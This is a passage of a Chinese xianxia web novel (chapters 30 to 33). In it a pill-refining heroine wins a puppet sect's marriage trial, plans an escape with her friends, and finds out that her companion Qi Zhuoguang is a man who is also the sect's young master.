曾经柔软的肌肤摸不到，曾经温暖的双手抓不了。霍司遥一双手青筋暴起，心念近乎坍塌：你怎么能死，怎么能……
好话说尽，见人仍是毫无反应，宜东藏怕他真的起意要将人炼成傀儡，赶忙解释。
“她只是服了丹药，陷入假死状，并非真的死了。这是解药，请。”
话音未完，摊开的手心轻风掠过，一卷，丹药不见。
霍司遥的指尖捏了丹，像是迫切万般，一按，覆到了郑予时的唇上。
远看，斗笠白衣清冷无情，但只有离得极近才能察觉，他的手，颤得极其不稳。
丹药服下，丹田灵力一转，五息功夫，郑予时，醒了。
睁眼，入目的是一帘白纱落下，轻轻一扬，盖在脸上，吹过睫毛，有些痒。
往上，她，看到了他斗笠其下的模样。
白肤红唇，棱角分明，眉眼间一丝黑绸坠下，叫他清冷如神的气质莫名增添了几分神秘的味道。
这个人，生得极好。
一愣，郑予时心里困惑突生：她，怎么在人怀里？要命哦！
翻身而下，结果一用力，刚服下药还未完全恢复身体支配的她腿上一软，‘啪’一声，摔到地上。
“郑予时！”
禾欢欢前来接她，她一来，松了手的霍司遥一退，乘风而去，唯留老者和一众戒备的弟子在原处，不尴不尬地僵着。
“你没事吧。”
“啊？”
闹剧一场，抢了‘人’的主角走了，老者也没想多留，在名录上填了郑予时的名字后，大手一挥喊了人散。
殿上的人，在老者的支配下悉悉窣窣着散了，但刚刚那一场霍司遥抢人的戏码，却给他们留下了不轻的印象。禾欢欢瞧不得周围人那些看过来的揶揄眼神，她替郑予时挡了去，将人护得严实。
半刻不到，殿上剩的人不多了，禾欢欢这才拉着她上上下下检查了一遍，不放心，又叫见识比自己多的纪云听帮忙查看了好久，确认郑予时身上没有霍司遥留下的傀儡印后，这才终于放了心。
“傀儡印？那是什么？”
“西疆少宗主的傀儡印，你居然不知道？郑予时，你是不是成天光炼药去了？药呆子。”
“……”
禾欢欢的脾气，吃软不吃硬，纪云听瞧了抬手顺了她的气，同郑予时解释道。
“傀儡印，是一个用灵血灌之便能将人炼成傀儡的印章。据说，当年小儿降生，霍宗主大喜，特意寻了陨铁和鲛珠，磨碾成粉，集术法揉之，是为佑心庇护，是为权贵象征。但后来……”
“后来这少宗主不争气，身子弱不说性格还不好，拿了他爹送的宝贝，到处招摇祸事，炼尸成傀。这不，天下知道他嗜炼成痴、最爱死人尸体的人，不少。”
纪云遂接过了纪云听没能说出口的话，他这一言出，殿上还未来得及退去的人均是不敢再抬头，匆忙着竟是开始小跑了起来。
毕竟，没人愿意惹西疆域，更没人想惹其首的傀儡一派。
“有事，回去再说。”
纪云听将两指放到了耳侧，轻轻一敲，打了个哑谜。
俩姐弟的默契不愧是一起长大的，姐姐一动，弟弟立马噤声，推搡着人往回走。
招亲宿舍，纪云听祭出一个铃铛一样的法器，往空中一抛，一落，罩在了房内，将他们五人完全罩了住。
“阿姐？”
抬手喊停，纪云听不见纪云遂，反倒是冲一边的宜东藏问了道。
“宜公子，可知道刚刚殿上那位老者的身份？”
“两指封喉，不见血。他是天玄下的魏裘。”
“魏裘？阿姐……”
纪云遂眼里的困惑快要凝成实质，他和一边的禾欢欢相看无解，竟是异口同声，默契问了道。
“天玄下不是被灭门了吗？”
“是。十六年前，天玄山间神火覆落，倾夜，山下门派天玄下，无一人幸存。然，虽说灭门，但当夜外出未归的弟子是有的，魏前辈活着，倒也不算稀奇。只是，没想他竟来了傀儡派。”
“可是阿姐，就算那老者是魏老前辈，刚刚殿上为什么噤声，这会儿你又用咱家的声盅做什么？”
“魏裘前辈，两指神功出神入化，世人皆知，但他还有另外一门不亚于其下的术法，却总是被人们忽略。”
“鸣声术。”
三字一出，宜东藏适时接了话解释。
“鸣声术，修者耳力极佳，除非另做阵盘法宝隔绝，否则，千里之内，凡是他想知道的秘密，都能听到。我想傀儡派会收下他，不只实力，更多的，还是看中了他的鸣声术。”
“哦！阿姐，我们是有秘密要商量，是不是！？”
纪云遂一呼，两眼放光。
其实他
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说的没错，纪云听是有事，相求。
“此次招亲，纪家派我前来，只为助势，但我自己，却有另外的目的。”
“阿……姐？”
“我要，肃清纪家家鬼。”
啊？
这一言，情绪跌宕，听得郑予时三人面面相觑。
但纪云听面不改色，只抱手，讲述。
“纪家、云家掌管一方纪云城，所属，乃是禾丹宗门下，虽是属，但与禾丹宗其实是互助的关系，所以我们三家向来关系亲密。但是，三年前，家父入山参加会谈，而自那之后，他变得很奇怪。”
“族中决策交予二叔，族中势力交予三叔，父亲他当着一众族人的面辞去所有，之后，偶有密令，但鲜少见人。”
“起先我以为他是乏了病了，但后来，我发现了不对……”
纪云听的话，纪云遂听得认真，他虽是天真无思，可他姐的话，他是最信的。
“阿爹他，中了术。是傀儡术。”
“什么！？”
“嘶———”
禾欢欢的嘴跑得贼快，她一惊手下一重，揪得郑予时皮肉一痛，冷抽一口。
啧，真疼。
“所以你想让我们帮忙？助你得第三。”
不得不说，宜东藏看得还是更远一些，禾欢欢只顾惊讶，郑予时只顾忍痛，而他，却看到了纪云听背后的诉求。
招亲第三，傀儡术心法。
纪云听这是想，自己寻解法。
“纪姑娘，其实吧，这书本都是其次，隔行如隔山，你要自己学解术，估计很难。”
开口劝人的是郑予时，只因那亓涿光送来的满屋子的咒术古籍，她完全学不懂。
只是宜东藏和她都猜错了。
“谢谢郑姑娘，我知道。只是心法得来，并不是我学，而是交易。”
交易？
“多的不便告知，还请见谅。”
纪云听的话滴水不漏，她想让你知道的你会知道，但她不想让你知道的，态度缓和，你就是不知道，也不会心生不满。
求人办事，拿第三的目的，对此，禾欢欢倒是第一个积极。
“云听姐，你要第三，我要第一，咱们一起呀！我跟你说，我都计划好了！这第二关不是考验修术深浅吗，又没说一定是自己的修术。我家郑予时炼药可厉害了，到时候让她现场给咱一人搞一个贴题药剂，咱们妥妥前三进入最后一关。”
“至于这最后一关，三选一，选谁咱都是定赢的！”
“……”
郑予时就这么不明不白的被安排了清楚，纪云听听得一乐，看过来的眼神含着笑，倒不是不相信的那种笑，而是感兴趣的那种笑。
“郑姑娘是丹修？能得禾丹宗挑剔大小姐的承认，天赋实力定然都是极高的。”
“我瞧着郑姑娘讨喜，想来若是真进了前三，第一，必会是你的。”
这一言，郑予时听不懂了。
什么叫第一一定是她的？难道说……
纪云听心思细腻，刚刚殿上，她醒过来的时候是在霍司遥手上的。所以，她是从霍司遥的举动中猜到了什么吗？
第一、第一……难道说，刚刚她假死复生，身上的七星凶咒被发现没能护住她，叫霍司遥发现她混元灵根的秘密了吗！？
难道说，他也看上她了？要把她炼成傀儡？
不要吧。
郑予时越是脑补越是无语无奈，胡思乱想着，倒是想起了许久不见的亓涿光。
亓大美人！速回！
你家要被偷了你知道吗！？
31. 第 31 章
对于第一的猜测，纪云听解释说，之前大殿上霍司遥对郑予时的举动，是个人都清楚，他，在意她。
不管是何原因，光是在意两字，便足够魏裘来监视他们了。所以，这也是她使用声盅提前防备的原因。
而至于为何防备，就是他们接下来要谈及的事情了。
“不管我们最后到底谁是第一，想必大家都清楚，第一，是干嘛的。”
“……炉鼎。”
禾欢欢的声音沉了下去。
“郑予时，你，要不你第二场弃赛吧。就像云听姐说的，霍司遥应该是盯上你了。明日，你帮我过了第二场，后面的，我自己去争，后果我也自己来扛。”
“有理。此次前来招亲的大多是各族各宗的弃子，实力不强，郑姑娘明日帮过你后，弃赛是最好的选择。不过禾欢欢，你有没有想过再找个人合作？助她夺第一？”
“什么意思。”
纪云听轻手一拍，声盅外，飞来一只幽蓝灵蝶。
术法召，灵蝶入内，落在纪云听的耳边，沿着她耳朵弯曲的弧度覆了上去。
“这是蝶六，是我炼来偷听我爹小秘密的传声器。”
偷听？
郑予时看着身前一本正经地说出了这话的纪云听，心里为她竖了大拇指。真孝顺。
“一开始我来，就是冲着第三名奖品来的。我并不知道会遇上你们，也不知道参赛的对手究竟都有谁，所以，蝶六是我打探消息的最佳手段。”
话风一转，纪云听反问道。
“你们还记得今日闯关，有一位身着蔚蓝暗纹长袍的剑修吗？”
“第二位闯关，一剑劈开云雾那个？”
“是。他是离云宗的人，是花之杳身边的护卫。”
纪云听的话宜东藏听懂了。
“你是说，花之杳，也想要第一？”
“是。不过花之杳想要的，是西疆少宗主夫人的头衔。至于第一的奖品，她并不在意。”
禾欢欢一听，乐了。
“所以云听姐姐，你的意思是，等花之杳得了第一之后，我有机会可以从她那儿换来仙剑？那真是太好了！”
有了新的目标新的计划，郑予时被保护在第二关落败，而禾欢欢和纪云听则是决定明日去会一会那花之杳，拉她入伙进决赛。
几人商议的话已经提前替此次招亲试炼定了前三的位置，助力花之杳第一，禾欢欢和纪云听紧随其后，包揽二三。但郑予时听完，总觉得有哪里不对。
纪云听的分析不假，此次前来招亲的人，实力不强。纪云听没问题，纪云听认下的花之杳没问题，禾欢欢有她现场的帮忙，过第二关也没有问题，但。
她似乎，忘了个人。
“亓涿光呢？”
“亓涿光！？郑予时，你……哦，你当时假死在我芥子空间里呢，不知道。浮石那关，排排过崖，亓涿光她压根就没来。”
哈！？
禾欢欢的笃定，叫郑予时险些惊掉下巴：怎么会？但随即细想而去，也不是毫无可能。
果然，原文信不得。
还好，还好当时没有堂而皇之地安慰禾欢欢说，说亓涿光会得第一。
真刺激。
五人同处一屋，一夜排兵布阵。
在禾欢欢的推荐下，纪云听还是没要郑予时帮忙，她自身修习的是器法之术，造诣不算浅薄，对付第二日的试炼，绰绰有余。
日升，试炼再启。
只是等五人到了试炼场的时候，宗主霍弘、风戎尊者霍廷、那位女修、老者魏裘、还有霍司遥和另一位明显也是霍家主系的少年高坐殿上。
才第二关，这场面，会不会有些过于隆重了？
郑予时心下有些不安，总感觉，事情不对。
纪云听显然也察觉到了异样，她喊住了想要去结盟的禾欢欢，按兵不动。
殿上鼓鸣起，试炼开，不过这次，主持的不是第一关的老者魏裘，而是宗主，霍弘。
“各位小友渡海而来，霍某甚感欣慰。想必大家都知道，我西疆边邻无垠海域，无垠海，那是古海秘域，是上古时期便留存下来的古迹，是咱们修界的一处静谧神圣之地。”
郑予时的眉头皱了起来：霍弘，什么意思……
“而昨日，弟子来报，说有贼人恶意捕猎无垠海中的孚钰兽，不只如此，还残杀了数十剑羽派弟子！”
“此举此行，恶劣至极，不可饶恕！”
一言，杂了灵压的声音压得殿下参赛的人们密汗满额。
郑予时和宜东藏同时抓住了身旁禾欢欢轻颤的手，三人对视，相互支撑着彼此。
西疆域，终究是发现了。
“我儿心系宗门，以大局为重，因此，此次招亲有变，今日二三关试炼一起进行，事完，还请各位小友暂且留宿域内，助我西疆捉拿贼人！”
“阵，起！”
毫不客气的留人手段，说改就改的招亲规则，如此，昨夜纪云听他们的计划完全被打乱了。
随着霍弘一声起，殿上灵阵开，将宜东藏和纪云遂此类无关人员弹了出，只余三十六位闯过第一关的姑娘立于殿中。
阵法灵力波动，一划，竟是依照修法将殿上划分多区，形成了多个同时试炼的场地。
剑修之区毋庸置疑，佩剑的五位姑娘进了去。然而就在五位剑修齐步踏入的下一瞬，区域封闭，剑修之区再次一分为五，将她们一一隔开，相互靠近不得。
完了。
郑予时和禾欢欢相视一望，纷纷看到了彼此眼中的不安。
她们原本的计划是，修术深浅试炼，郑予时在一边执导禾欢欢炼药，以药方之奇入选前三，可现在，赛事有变，每个人都隔开不说，看样子霍弘的意思是要在每一区选出最强，再对攻。
如此，本打算同处一区炼药的郑予时和禾欢欢，难了。
“郑予时，没事，我可以。”
禾欢欢从芥子空间召出了她的配剑，本来想着投机过关，可现在，不行了。
花之杳在另一区，夺分区第一，不难；纪云听在器修区，夺分区第一也不难；但她，若要靠自己，只能试试，一争剑修区的名额。毕竟她炼药的水平，连一品入门都达不到。
“郑予时，别担心，保护好自己。”
交代完，丝毫没给郑予时反应的时间，禾欢欢提剑便冲入了那剑修区。
区开，又合，原本一分为五的剑修区多了个位置。
“咚———”
殿上鼓鸣再起，郑予时心里明白，这是在催促她们这些还未进入各自试炼区域的人，快些入场了。
成。进去摸鱼吧。
郑予时虽有些担心，但总归现在也只能走一步看一步了。
入主丹修区，人数还不少，总共十人。
郑予时被分在最角落的一边，看题，选药，开炉，摘草。休闲佛系，浑水摸鱼。旁的参赛者的炉下都生了火已然开始淬炼，而她，依旧是我行我素，摘摘扯扯，像是在过家家。
场外，殿上，霍弘的视线扫落全场，看似一视同仁，但实际上，却在经过郑予时的时候，顿了半秒。
混元灵根，炼药丹修。
是她，没错了。
藏于袖下的五指微合，灵力一震，似是捏碎了什么，传讯而去。
炼丹，在刻板印象里是个极其耗费时间的事情，这不，其他所有分区内的第一都已经选出来了，郑予时她们这边还没完。
出乎意料，但又在情理之中的，禾欢欢输了。灰头土脸，力竭倒地，她得了第二。
而更难的是，花之杳，也落选了。倒不是她没得分区第一，而是霍弘大掌一挥，说她修术尚浅，直接夺了她第一的名额，简直不要太专制。
如此，她们只剩下纪云听这一个独苗苗，而纪云听，是要夺第三的。
啊，怎么办？
郑予时手下的药还差最后一步，成功与否，只在她一念之间。
成，她入最终，或有一线机会可得第一；败，计划彻底失败，剩下入选的人得第一的或是那剑修，如此，禾欢欢的剑，难了。
场内，地上，禾欢欢撑着她的剑强撑着起了身，隔了十米，她向着郑予时这边看了过来。
因得过于用力而反噬呕出的血水，从唇角落下
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，淌了衣襟一片，她的双腿，双手，止不住地颤抖着，但偏偏，她看着她，释然，苦笑。
唇齿微开，禾欢欢轻念，无声摇头：郑予时，我输了。
泪落，绝望，复杂压抑的情绪包裹着她，像是认了。
五指攥紧，这一幕，郑予时看得很不舒服。
输个屁输，第一，我来赢！大不了拿了奖，连夜逃跑就是，怕甚！？
心下定了，再不顾所有。
不就是拼修术深度吗？不就是各区第一最后再选吗？她还不信了，就凭她炼丹的实力，能不是第一！？
心里憋了口火，郑予时热血上头，拍了窝在丹田蠢蠢欲动的大锅，最后一步灵力融丹，她依旧是吞了储物袋里中和的半株蒂连枝，调了稳定灵力来用。
灵入，丹成。
霎时，殿上炉中乳白雾气腾腾而升，朦白之中，金光乍现。
丹道！药雾！
瞬间，整个殿内所有人静得连一声都没能吭出，而在那场外殿上，霍弘一双手扣住身下椅，稍不慎，檀木捏碎。
丹出，其上，四层幻光若隐若现，此景，吓得一边同样炼丹的选手心慌无措，一分神，炸了炉，没了资格。
“药彩！居然是四阶药彩！”
震撼难信，炸了炉的姑娘一激动冲过来想细看，然而她忘了每位参赛者都是被单独‘关’起来的。一冲，冲到灵罩之上，撞晕了头。
丹出，阵内评判的灵力卷来，带走了各位的丹药评判，不出预料，丹修区的第一，是郑予时。
“怎么可能？四阶药彩？要知道就是禾丹宗这届最具天赋的大弟子宜东藏都没能炼出四阶药彩，就这个矮子？认真的！？”
“兄弟别乱说，当心隔墙有耳。你看，跟那矮子一起的，可不就是禾丹宗大弟子吗。”
“我不信，骗人的吧，这药彩这么好炼的？她才炼气五层啊！肯定是作弊！”
纷纷扰扰，然三言两语左右不了西疆选择，一通筛查，最后场内只剩五人。
五选一，怎么选？阵中自有计较。
只见阵中灵力再次卷来，带了剑修区第一的最强一剑，带了花之杳炼器的最佳成品，带了其余另外两区第一的招数，还带了郑予时那一颗丹药。
五样集中，在阵中灵力的牵引之下，纷纷落回到各位参赛者的手里。
什么意思？
不待解释，只见那剑修先发制人，一剑，击飞了另外一区的第一，将她剔除名单。
这下，叫郑予时直接瞪大了眼睛：好家伙，不是根据修术深浅评比吗？怎么开始互殴了！？
完了。她才炼气五层，打个屁啊！
剑修姑娘很强，又一剑挑人，如此，场上只剩她、纪云听还有郑予时三人。
待殿上老者公布了其余两人淘汰之后，纪云听毫不犹豫，立即喊了投降，保住第三。离开前，她还特暖心，冲郑予时比了个加油的手势。
好嘛，完啦。
掌心中的丹药还带着刚刚出炉的热气，郑予时皮笑肉不笑，心下一抖，凉了半截。无语就。
剑修起势攻来，她一躲再躲，一下，膝盖关节处莫名袭来一股外力，‘啪’一下，摔到地上。
偷袭！？
身后寒气袭来，回头，卧槽！
长剑当头，竟是直接朝她面门劈了下来！
救命！
阵中外人入不得，郑予时再周旋不了，为了扛下这一剑，她直接一调丹田灵力灌入丹药之中。以灵牵引，她一把将丹药扔到了那剑修姑娘的剑上，趁她疑惑分神，连爬带滚，滚了老远。
药力裹杂周遭灵力形成暴肆力量。
三、二……
“轰———”
逍遥殿殿内，试炼场正中，爆破一起，浓烟弥漫。
内里，一个直径四米的焦黑大坑落入其中，而那里，半跪了个被炸得黑黢黢的提剑黑人。
“试炼结束，招亲第一，归元宗，郑予时！”
“……”
老者一声吼，入场提了她的手。
郑予时看着自己被举起的手臂，还有些蒙：好家伙。这就第一了！？
32. 第 32 章
第一名的奖励是把仙品宝剑，剑出，破天而来，落入郑予时手中。
殿上之人轮椅滚动，借着灵力下场，来到她的身前。
他抬了手，并非掀起面前笠纱，而是向着她伸了过来。
什么意思？
郑予时不动，反身看向了被试炼阵法隔在场外的禾欢欢他们，寻求答案。可，霍司遥向来深居简出，他们又怎么可能知道他到底是何意思。
“郑予时。”
啊？
回头，看向了面前之人。
似是觉得不大礼貌，她一缩身子，竟是极其随意地在霍司遥面前蹲了下来，勉强与坐在轮椅上的人平视相谈，含着笑。
“你说，我在听。”
蹲下抱团的动作像是个小圆子，一声轻笑，虽是隔着斗笠白纱，但郑予时觉得，他应该心情不错。
“手给我。”
手？
郑予时不知道他想干些什么，但好歹大庭广众、众目睽睽之下，料他也不敢真的害她。再加之，莫名地，她总是觉得霍司遥的声音，有些耳熟。但西疆之前，她确认，自己并未见过他。
到底，在哪儿听过呢？
伸出左手，同时，借着动作郑予时将右臂往后遮了三分。
右手掌心烙下的眼珠子虽然久未有动，但她还是下意识护着它，不让人碰。
左手摊开，霍司遥将他的手覆到了她的上头，指尖轻触，一点，一抬，似是有着几分勾人的意味。
他这是，在干嘛？
肌肤相触，异样却又莫名熟悉的感觉叫郑予时心头一颤，然，随着霍司遥渐渐探过来的手，他腕间衣袖落下，风一吹，露出了其下纤纤白皙的手腕。而那手腕上，系着一根丑陋的手绳。
这！这不是她编了送给亓涿光的艾草手绳吗？
连这她都给他了！？见色忘友啊大妹子，没想到亓大美人居然是这样的人！
笃定是亓涿光送了人的郑予时丝毫没有考虑别的可能，心头一片震惊，然而似是瞧了她惊异的神情，触了她手心的霍司遥收了回去。
郑予时抬眼瞧他，可隔着斗笠隔着眼上黑绸，能看清才怪了。
心里的古怪感觉越来越重，不待她再多想，霍司遥手一抬，开了口。
“宗主，我，选她。”
哈！？什么意思？
“哈哈哈！好！既是招亲，那司遥定下便可。各位小友，定了，还请随我宗弟子回去稍作休憩，明日，无垠凶案，殿上再辩，还望各位小友助我西疆，捉那贼人！”
一言令下，殿外数百弟子飞踏而来，将殿上他们围了彻底。这架势，不是请，倒更像是在逼人。
只是这殿内除了个别自主想要攀附西疆域的人之外，剩下的，大多都是各族各宗为了给西疆面子而弃来的棋子，弃子无权无势，于是，众怒不敢言，憋屈得很。
隔了大半场地，郑予时同禾欢欢他们交换了眼神，彼此都瞧见了各自眼里的尴尬无语。
原来，他们完全想岔了。
第一也好，第二也罢。结果到头来选做炉鼎的人选，从来就不是什么第一第二，而是看霍司遥想要谁。
好家伙，感情昨晚一夜，全都是白搭。
郑予时想笑也想哭，但索性，东西到手了。
场内阵法散去，五人集合，前来负责他们的弟子带了人要往殿外走。
三五几步跟随，直到临近殿门，郑予时这才心下有思，下意识回了头，看向了那殿中之人：霍司遥给她的感觉，很奇怪。
殿中，那刚刚颁了她第一奖品的地方，轮椅停驻，白衣随风。
斗笠其下，白纱轻舞，带着那一身清冷的人似是画中。
像是察觉，那人轻抬了头，隔着黑绸，‘看’了过来。
不知怎的，郑予时下意识冲人点了头，等点完才猛地一惊：他，看不见。
奇怪。
浅笑一声，不再去看那让她莫名觉得熟悉的人影，她回了头，跟着禾欢欢他们，往外走。
入宿，五人又一次齐聚一同。
声盅再开，沉默无声。
“禾欢欢，给。”
仙剑再出，灵震，落入服药调息好了的禾欢欢手里，轻颤。
“你……”
这可是仙剑！禾欢欢本来是想问，就这么给她了？不提些什么？但随即，瞧进郑予时那双透亮的眼睛，这话，她咽了下去，此后，再未提及。
她伸手抱住了她，很紧，很用力。
“郑予时，谢谢。谢谢你。”
“客气。”
随意摆了摆手，郑予时坐在一侧，给自己倒了杯茶。
茶水荡开，下一瞬，面前递来一颗圆润丹药。
“郑予时。”
开口的是宜东藏，这递药过来的人也是他。
“这是隐匿气息的丹药，效果比隐匿符更好。如今西疆域在查人，你要是跑，用符用阵都很难。”
“你怎么知道我要跑？”
“你喜欢霍司遥？”
那倒也不是。
“若要离开，今夜是最佳时机。”
纪云听一开口，所有人的注意力都放到了她的身上，放到了她耳边的蝶六身上。
果然，只见纪云听一触蝶六，继续道。
“参赛者中有人同傀儡派弟子熟识，据说，霍宗主因为无垠海域发生的事勃然大怒，今日不显，是因为疑犯就在参赛者之中，怕打草惊蛇。所以明日殿上训问，或有变故，估计难捱。”
说罢，纪云听一顿，面向了郑予时。
“但这都不重要。郑予时，询问之前，明日寅时，你会被带去霍司遥那处。带去……”
声音到了这儿便停了，但几人均是心知肚明，带去，会发生什么。
“郑予时，快，你现在就跑。我们给你打掩护。”
“现在不行。今夜寅时之前的一个时辰，是逃出去最好的时机。届时，为了此次炉鼎修行让霍司遥恢复伤势，提前一个时辰，霍弘会先将他经脉打通。那时候，霍弘、霍司遥主事，霍廷带人驻守，傀儡派大多人的注意力都会在他们那里，对你跑出去，更好。”
纪云听将时间定下，如此，在这剩下的时间里，禾欢欢忙上忙下一直在帮她谋划准备。
傀儡派内的路线画好，出西疆域的躲藏点点出，但无垠海，要渡却是最后的一个难题。
“没船，怎么办？”
“没事，毒蛊门有一处我纪家住宅，你可以去哪儿躲躲。”
纪云听不惜借助纪家势力护她，说实话，出乎郑予时的预料。
“不必。郑予时，这个给你。”
宜东藏的话打断了纪云听往后的安排，他摸出一节骨头似的小东西，放进她的手里。
“无垠海边，吹响这个，有人，会来接你。”
手心里的像是骨哨一样的东西约三寸大小，郑予时握了它，向人点了头。然而她和禾欢欢知道宜东藏此举为何，不清楚他是兽族鲲兽的纪云听却还是有些担心。
“宜公子，此举，是能招来船只？可若是船只入内，怕是戒备之中的西疆域会有人察觉异样。这……”
纪云听的话还未说完，郑予时拍了她的肩，谢过她的好意。
“纪姑娘，谢了。不过，我信他。”
计划妥当，静待时辰。
禾欢欢一直陪在郑予时的身边，她靠着她，千言万语化作身侧紧抱，她环住了郑予时的胳膊。
“一切小心。”
“嗯。你们也是。出了西疆域，无垠海边见。”
纪云听的计划很好，她只以为郑予时是为了逃那炉鼎一事，但她却不知道，无垠海域的那一场，与他
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们也有关。
宜东藏替她收拾了东西。
“纪姑娘，会没事的。纪家如今受制于人，虽然她不说，但当今傀儡术，唯傀儡派一宗有这本事伸手纪家。她对傀儡派有用，此番受我们牵连虽有难，但应当不会要她性命。”
“师兄，你还好吗？”
宜东藏的脸色算不上好看，无垠海的异样被察觉，他身上收下的孚钰兽，如果查出来就是铁证。
“郑予时，无垠海边见，孚钰，就拜托你了。”
孚钰兽，养在他那骨哨中，他们的计划，今夜她先跑，安定好纪云听姐弟后，他们随后而出，看情况跟上，或是察有不对再寻另一路制造混乱，帮她吸引，两头撤离。
禾欢欢身上带有的防御符隶、隐匿宝器她都分了一半给她，时间到了，她和纪云听他们一起送她出门，难免心里担心、焦虑。
“郑予时。你可以的。”
“噗嗤。”
乐得一笑，郑予时没想到，当初她用来安慰人的话，姑娘这会儿会反用来安慰她。
“好，我可以的。走了。”
声落，门关，她将他们尽数关回了房中，踏步而去。
郑予时的灵力还是不能用，不过这样更好，没有灵力波动，黑夜中，她更好隐匿而去。
丹药服下，一身气息完全散了去，甚至是连她踏在落叶上的声音都未能漫出半分，效果惊奇。
出院，唯一妥当的地方是西边把守较弱的院墙。
蹲在墙边听外头脚步，三两路过，郑予时知道，巡视的弟子过了。
就是现在！
大锅召出，插入地里，她一踩其上，蹬墙，借力，爬到了墙头。回身一收大锅，不留一丝痕迹，爬墙成功。
趴在高处，望出远方，纪云听他们为她规划的逃跑路线逐渐清晰。郑予时翻身，够着墙外柳树枝桠，要落，然而这时，一道虚影飘然降至，带起一阵风，落到身侧。
不好！
侧身要躲，然而来人更快，郑予时一偏，来人一抓，完全躲不过。
抬眸看去，原本试探、求饶的语气拐了个弯，几分惊异，几分欢喜。
“亓涿光！？”
人在墙头，亓涿光站着，居高临下地看着她，眼底一片冷。
“你要逃。”
“对啊！你是不知道，我倒霉催的被那少宗主选上作炉鼎，命都要没了，可不得跑快点！快，快带我下去。”
郑予时伸手要人助她，然而亓涿光却是不动。
“你又要走。你又要逃。你，又不要我了。”
哈！？什么玩意儿？
郑予时听不明白，然而亓涿光下一刻的动作却是叫她整个人都惊呆了。
只见墙头之上，亓涿光将左肩衣襟扯下，露出了咒文缠绕的身体。肤若凝脂，心口其上，刻有的那道青黑咒文诡异、瑰丽，像是活过来一般，神秘蛊惑。
她逼身而来，掐了她的脖子，像是抓着玩物，眼底神色淡漠无情。
“咒术师心口的命咒，看过了，就是属于我的东西。”
“郑予时，你以为，你逃得了？”
势在必得的语气，不像她认识的亓涿光，更像是文中那暴肆冷清的恶毒女配。这一言，将黑莲花的强势展现得淋漓尽致，然而瞧着人身前那一马平川，郑予时不禁瞪大了眼睛。
脖上禁锢的力度没能引起她的注意，她伸手，抚上了身前人的肌肤。
触及，轻颤。
先前渡船之上，亓涿光心口的咒文她瞧见过的，可是那时，酥软肌肤，饱满软肉，看得人气血翻涌，可现在？
心口之上，一摸、再摸，紧致肌肉的触感，很平。
这一摸，吓得郑予时眼睛都看直了，思绪错乱，疑惑惊慌，嘴，跑在了脑子前头。
“……姐妹。你胸呢？”
33. 第 33 章
“我，是男子。”
哈！？
亓涿光捉了她的手，一按，掌心相贴，彻底覆上了他胸前的肌肤。
卧……郑予时觉得她整个世界都崩塌了。
所以，万魔窟的地牢里，她没有认错，小崽子就是小崽子，是个小男孩儿，而一路相随的亓涿光才是她认错了，黄花大姑娘，其实是个男的？
要不要这么搞？原文的剧情和设定都是乱来的吗？
差评！
郑予时这边胡思乱想着，可捉了她的亓涿光却是心下更闷，他周身灵力、气息都很乱，像是经脉被人恶意拿掐，情绪暴动。
“为什么要逃。为什么……”
跟他还说不清了？不是都说了她是不想当炉鼎吗！
此地不宜久留，亓涿光伸来的手仍锢在她的脖间，郑予时反手捉了他，想要带人先撤，然而这一捉，手心触觉异样，低头一看，看到了那个本应被他送给了霍司遥的手绳。
等等，这又是闹哪出？他找他，要回来了？
乱套了都。
“不逃，难道你想我做霍司遥的炉鼎？被他吸干？别的人可能扛得住，但我才炼气五层，那会要了我的命的，你知道吗？”
“我，从没把你当成炉鼎，我是想，保护你。”
啊？什么玩……
等等。等等！
他这话什么意思？难道说！
心里一咯噔，郑予时的脑中浮现出一个极其恐怖的想法：霍司遥明明与她不相识，但第一关她假死，他却异样在意地抱了她；霍司遥身边的小傀儡，是亓涿光带走的；霍司遥手上的手绳，是亓涿光的；甚至连他的声音，他对她做出的莫名其妙的举动，她也觉得很熟悉……
难道，霍司遥就是，亓涿光！？
妹子不是妹子，男孩儿不是男孩儿，呵。世界真奇妙啊。
“霍司遥？”
“嗯。是我。”
“你，你爹到底姓啥？”
此话一出，郑予时一愣，立马收了音。她也是脑子不清楚了，这重要吗？不重要。
“不对。我还是得走。无垠海的事儿，我在场，霍宗主的秘密被撞破，我不能留下。不对，你现在不是应该在房里，等霍弘帮你打通经脉吗？”
一顿，郑予时眉头紧皱，似是察觉不对，她立马抓了他的手，摸向脉搏。
脉络，有异，刚刚初见，她其实就察觉到了他的不对，现在一摸，果然如此。
“你的经脉……”
“无碍。”
怎么可能无碍！？乱套了都！
内息调动，灵力压制，如此，见亓涿光情绪稳定了不少，她倒是放心了些：先稳住，后面再说。毕竟先前房内那一场，她是不敢再给人乱吃药，轻声安慰，先把正事儿做了。
“亓涿光，我得出域，我想活着。你，不要拦我。”
“要不……和我一起？我们一起走。”
想到书中霍宗主后期对霍司遥的恶行，郑予时心念一动，起了拐他的念头。
“郑予时，我，走不了。”
为什么？
灵力稳定的亓涿光不再如刚刚初见那般古怪，这会儿的他，才像是她认识的他。只是，他的话，她听不懂。
“霍弘提前给你下毒了？”
可是出了红满天，她并没有在他身上察觉到别的毒药啊？
郑予时一双眸子满是疑惑，抬眼，不想却是撞进了他深深探过来的眼里。
他看她，秋水剪瞳，几分眷恋，几分不舍，矛盾又纠结着，奇怪得很。
“你……是不愿意和我走？”
刨除所有猜测，只剩这个。
然而郑予时猜错了。
对亓涿光来说，跟她走，他求之不得，只是，他，走不了。是真的，走不了。
今夜，是他作为亓涿光活着的最后一夜，最后一天。明日太阳初升之时，他就不在了。
而这最后一夜，他发了疯地想要和她在一起，所以，他不惜用霍司遥的壳子暴露底细也要要她，他，自知无力，只求这最后的一夜告别。可是刚刚，他欢喜着逃来见她，却见，她要逃。
如此，心脉波动，断了筋骨后的一身戾气被恶意放大，他，这才朝她发了火。
幸好。没有伤到她。
亓涿光笑着，将小指一缕黑丝勾到了她的指尖。
“小傀儡，调教好了。以后有事，让他先上。”
“这个，留给我可好？”
傀儡化作一缕黑烟落在脚边，而这个，亓涿光指的是他腕上的手绳。
“送你了，它就是你的。”
“是，我的。”
一身忧郁的气质，叫人更看不懂了，不过郑予时倒是察觉到了他心中的莫名不安，伸手拍了拍他的肩膀，极其自然地牵了他。
难道是害怕她接受不了他的性别？其实她也没这么敏感。
“既然你走不了，那我之后再回来寻你。不过现在，能先送我去边界吗？我得跑。”
“好。我送你，离开。”
牵过来的手，暖暖的，熟悉的，叫人心生贪恋，不想放。
说是送，但一路上，亓涿光全是凭她带着，说左就左说右就右，听话得不行，郑予时心痒痒，想逗他，但她逃命呢，时间地点都不合适，只叹了口气，憋了回去。
从傀儡派的逍遥殿去往西疆域边界的路上，会路过入域时穿过的那片桃林。
